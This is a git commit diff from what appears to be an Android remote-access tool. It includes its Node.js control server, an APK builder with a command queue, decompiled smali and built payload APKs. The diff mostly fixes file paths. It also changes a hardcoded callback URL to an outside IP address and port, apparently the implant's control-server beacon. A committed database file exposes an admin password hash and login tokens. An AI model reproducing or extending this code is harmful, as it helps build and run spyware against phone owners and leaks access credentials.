Fixed directory issues
BIN
server/app/factory/decompiled/build/apk/AndroidManifest.xml
Normal file
BIN
server/app/factory/decompiled/build/apk/classes.dex
Normal file
After Width: | Height: | Size: 212 B |
After Width: | Height: | Size: 225 B |
After Width: | Height: | Size: 212 B |
After Width: | Height: | Size: 225 B |
After Width: | Height: | Size: 93 B |
After Width: | Height: | Size: 215 B |
After Width: | Height: | Size: 223 B |
After Width: | Height: | Size: 215 B |
After Width: | Height: | Size: 223 B |
After Width: | Height: | Size: 93 B |
After Width: | Height: | Size: 221 B |
After Width: | Height: | Size: 252 B |
After Width: | Height: | Size: 221 B |
After Width: | Height: | Size: 247 B |
After Width: | Height: | Size: 99 B |
After Width: | Height: | Size: 6.8 KiB |
After Width: | Height: | Size: 17 KiB |
After Width: | Height: | Size: 8.9 KiB |
After Width: | Height: | Size: 4.0 KiB |
After Width: | Height: | Size: 9.3 KiB |
After Width: | Height: | Size: 4.9 KiB |
After Width: | Height: | Size: 10 KiB |
After Width: | Height: | Size: 22 KiB |
After Width: | Height: | Size: 13 KiB |
After Width: | Height: | Size: 18 KiB |
After Width: | Height: | Size: 26 KiB |
After Width: | Height: | Size: 22 KiB |
After Width: | Height: | Size: 26 KiB |
After Width: | Height: | Size: 28 KiB |
After Width: | Height: | Size: 30 KiB |
BIN
server/app/factory/decompiled/build/apk/resources.arsc
Normal file
@ -64,7 +64,7 @@
|
|||||||
|
|
||||||
invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
|
invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
|
||||||
|
|
||||||
const-string v2, "http://47.91.41.155:22222?model="
|
const-string v2, "http://localhost:80?model="
|
||||||
|
|
||||||
invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
|
invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
|
||||||
|
|
||||||
|
BIN
server/assets/webpublic/build-aligned-signed.apk
Normal file
BIN
server/assets/webpublic/build.apk
Normal file
@ -2,7 +2,7 @@ const
|
|||||||
lowdb = require('lowdb'),
|
lowdb = require('lowdb'),
|
||||||
FileSync = require('lowdb/adapters/FileSync'),
|
FileSync = require('lowdb/adapters/FileSync'),
|
||||||
path = require('path'),
|
path = require('path'),
|
||||||
adapter = new FileSync('./maindb.json'),
|
adapter = new FileSync(path.join(__dirname, '../maindb.json')),
|
||||||
db = lowdb(adapter);
|
db = lowdb(adapter);
|
||||||
|
|
||||||
db.defaults({
|
db.defaults({
|
||||||
@ -18,7 +18,7 @@ db.defaults({
|
|||||||
|
|
||||||
class clientdb {
|
class clientdb {
|
||||||
constructor(clientID) {
|
constructor(clientID) {
|
||||||
let cdb = lowdb(new FileSync('./clientData/' + clientID + '.json'))
|
let cdb = lowdb(new FileSync(path.join(__dirname, '../clientData/') + clientID + '.json'))
|
||||||
cdb.defaults({
|
cdb.defaults({
|
||||||
clientID,
|
clientID,
|
||||||
CommandQue: [],
|
CommandQue: [],
|
||||||
|
@ -10,12 +10,13 @@ const
|
|||||||
app = express(),
|
app = express(),
|
||||||
server = require('http').createServer(app),
|
server = require('http').createServer(app),
|
||||||
IO = require('socket.io')(server),
|
IO = require('socket.io')(server),
|
||||||
|
path = require('path'),
|
||||||
geoip = require('geoip-lite'),
|
geoip = require('geoip-lite'),
|
||||||
CONST = require('./includes/const'),
|
CONST = require(path.join(__dirname,'/includes/const')),
|
||||||
db = require('./includes/databaseGateway'),
|
db = require(path.join(__dirname,'/includes/databaseGateway')),
|
||||||
logManager = require('./includes/logManager'),
|
logManager = require(path.join(__dirname, '/includes/logManager')),
|
||||||
clientManager = new(require('./includes/clientManager'))(db),
|
clientManager = new(require(path.join(__dirname, '/includes/clientManager')))(db),
|
||||||
apkBuilder = require('./includes/apkBuilder');
|
apkBuilder = require(path.join(__dirname, '/includes/apkBuilder'))
|
||||||
|
|
||||||
global.CONST = CONST;
|
global.CONST = CONST;
|
||||||
global.db = db;
|
global.db = db;
|
||||||
@ -71,6 +72,6 @@ IO.on('connection', (socket) => {
|
|||||||
server.listen(process.env.PORT || CONST.web_port)
|
server.listen(process.env.PORT || CONST.web_port)
|
||||||
|
|
||||||
app.set('view engine', 'ejs');
|
app.set('view engine', 'ejs');
|
||||||
app.set('views', './assets/views');
|
app.set('views', path.join(__dirname, '/assets/views'));
|
||||||
app.use(express.static(__dirname + '/assets/webpublic'));
|
app.use(express.static(__dirname + '/assets/webpublic'));
|
||||||
app.use(require('./includes/expressRoutes'));
|
app.use(require(path.join(__dirname, '/includes/expressRoutes')));
|
@ -2,7 +2,7 @@
|
|||||||
"admin": {
|
"admin": {
|
||||||
"username": "admin",
|
"username": "admin",
|
||||||
"password": "ffe553694f5096471590343432359e02",
|
"password": "ffe553694f5096471590343432359e02",
|
||||||
"loginToken": "ddd9d299c3380709efbc19ac381b4fad",
|
"loginToken": "97d5d9887360786b09e7ff89df307e72",
|
||||||
"logs": [
|
"logs": [
|
||||||
{
|
{
|
||||||
"time": "2020-01-11T15:23:07.971Z",
|
"time": "2020-01-11T15:23:07.971Z",
|
||||||
@ -58,6 +58,11 @@
|
|||||||
"time": "2020-03-23T04:59:46.252Z",
|
"time": "2020-03-23T04:59:46.252Z",
|
||||||
"type": "SUCCESS",
|
"type": "SUCCESS",
|
||||||
"message": "Build Succeded!"
|
"message": "Build Succeded!"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"time": "2020-04-07T21:03:16.469Z",
|
||||||
|
"type": "SUCCESS",
|
||||||
|
"message": "Build Succeded!"
|
||||||
}
|
}
|
||||||
],
|
],
|
||||||
"ipLog": []
|
"ipLog": []
|
||||||
|